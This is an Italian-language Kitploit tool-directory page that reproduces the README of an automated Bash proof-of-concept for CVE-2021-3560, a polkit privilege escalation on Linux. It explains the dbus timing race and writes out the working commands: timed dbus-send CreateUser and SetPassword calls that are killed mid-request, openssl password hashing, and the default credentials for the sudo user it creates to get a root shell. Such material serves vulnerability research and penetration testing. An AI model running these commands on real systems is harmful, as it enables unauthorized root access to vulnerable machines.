Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — PoC Bash automatizzato per CVE-2021-3560, escalation dei privilegi di polkit. Sfrutta la race condition di temporizzazione di dbus per creare un utente sudo e ottenere una shell di root sulle distribuzioni Linux vulnerabili. | Kitploit
Strumenti/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

PoC Bash automatizzato per CVE-2021-3560, escalation dei privilegi di polkit. Sfrutta la race condition di temporizzazione di dbus per creare un utente sudo e ottenere una shell di root sulle distribuzioni Linux vulnerabili.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
4 mesi faNon ancora revisionato

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Ricerca originale di Kevin Backhouse

Questo è solo uno script Bash PoC che automatizza i passaggi di sfruttamento menzionati nel blog di Kevin Backhouse.
Leggi il suo post su questa vulnerabilità: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Utilizzo

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Cose da notare:

  • Questo exploit funziona solo su distribuzioni che hanno installato accountsservice e gnome-control-center e devono avere polkit versione 0.113 (o successiva) OPPURE 0-105-26 (fork Debian di polkit).
  • Questo exploit è stato testato su Ubuntu 20.04, con polkit versione 0-105-26 (fork Debian di polkit) e Centos 8 con polkit versione 0.115. Se sei sicuro che il tuo target sia vulnerabile, ma la funzione di controllo dell'exploit fallisce, usa il flag -f=y per bypassare tutti i controlli e forzare l'exploit.
  • Distribuzioni come RHEL 8, Fedora 21, Debian testing ("bullseye") e Ubuntu 20.04 risultano vulnerabili.

Come funziona l'exploit?

Una spiegazione completa e un PoC per sfruttare manualmente questa vulnerabilità sono forniti in dettaglio nel blog del ricercatore.

Il TL;DR di questo exploit è riportato di seguito:

  • Questo attacco richiede un tempismo preciso e dobbiamo accedere via SSH (o tramite una sessione da riga di comando, dove non è possibile aprire applicazioni grafiche).
  • Un attaccante può sfruttare questa vulnerabilità attivando polkit inviando un messaggio dbus, ma chiudendo bruscamente la richiesta mentre polkit sta elaborando la richiesta. Poi l'attaccante può inviare una seconda richiesta con l'identificatore univoco del bus della richiesta precedente, per eseguire la richiesta come UID 0, noto anche come root.
  • Questa vulnerabilità esiste in polkit, perché tratta l'UID di una connessione con un identificatore del bus che non esiste più come una richiesta proveniente dall'UID 0. Ciò significa che, se riusciamo a sincronizzare correttamente l'attacco e a terminare la nostra prima richiesta al momento giusto, possiamo inviare la seconda richiesta con i privilegi dell'UID 0, noto anche come root.
  • Il tempismo per terminare la connessione è calcolato come il tempo necessario per inviare il dbus-message / 2. Spiegato in dettaglio qui.

Cosa fa realmente questo script?

Come ho detto prima, questo è solo uno script bash che automatizza il PoC di Kevin Backhouse. I comandi principali sono gli stessi; ho solo automatizzato alcuni passaggi iniziali (come calcolare il tempismo giusto, verificare la vulnerabilità, inserire credenziali personalizzate, stampare colori carini, ecc.).

Se questo script viene eseguito senza alcun parametro, il comportamento predefinito di questo script è il seguente:

  • Controlla il tipo di distribuzione. [Usando il file /etc/os-release.]
  • Controlla l'installazione di accountservice e gnome-control-center. [Nelle distribuzioni rhel/centos/fedora, usa rpm -qa; nelle distribuzioni debian/ubuntu, usa dpkg -l].
  • Se le installazioni sono presenti, lo script controlla la versione di polkit. [ 0.113 (o successiva) per rhel.centos,fedora e 0-105-26 per Debian/Ubuntu]
  • Se la versione di polkit risulta vulnerabile, lo script inizia lo sfruttamento
  • Innanzitutto, lo script determina il tempo necessario per inviare la richiesta con debus-send eseguendo bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Scarica lo strumento
  • Un elenco di compatibilità delle distribuzioni è disponibile nel blog di Kevin.
  • Questo script inserisce un nuovo utente nel gruppo sudo. Se l'exploit funziona, possiamo accedere all'account usando su - <username> con la password fornita allo script, e poi digitare sudo bash per ottenere una shell di root!
  • Poiché questo attacco si basa su un tempismo preciso, DI SOLITO SONO RICHIESTI PIÙ TENTATIVI affinché l'exploit funzioni.
  • ATTENZIONE: NON ESEGUIRE QUESTO SCRIPT IN UNA SESSIONE DI LOGIN GRAFICA!
  • Se questo script viene eseguito in un ambiente di login grafico, il ciclo continuerà a far apparire ripetutamente l'autenticazione polkit. Quindi, esegui questo exploit solo all'interno di una shell SSH/NC.
  • Se ciò dovesse accadere, premi il tasto Esc per chiudere il prompt di autenticazione e Ctrl+C per terminare rapidamente lo script.
  • Quindi, il tempo per terminare la richiesta ($t) viene calcolato dividendo per 2 il tempo necessario per la richiesta. ($t=time-required-to-request/2) [Calcolato usando awk]
  • Una volta calcolato il tempo ($t), la richiesta per inserire $username secnigma nel target viene ripetuta 20 volte. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Se l'inserimento dell'utente ha successo, [rilevato usando id secnigma], viene generato un hash della password [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Poi il comando di inserimento dell'hash della password viene eseguito per 20 volte. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!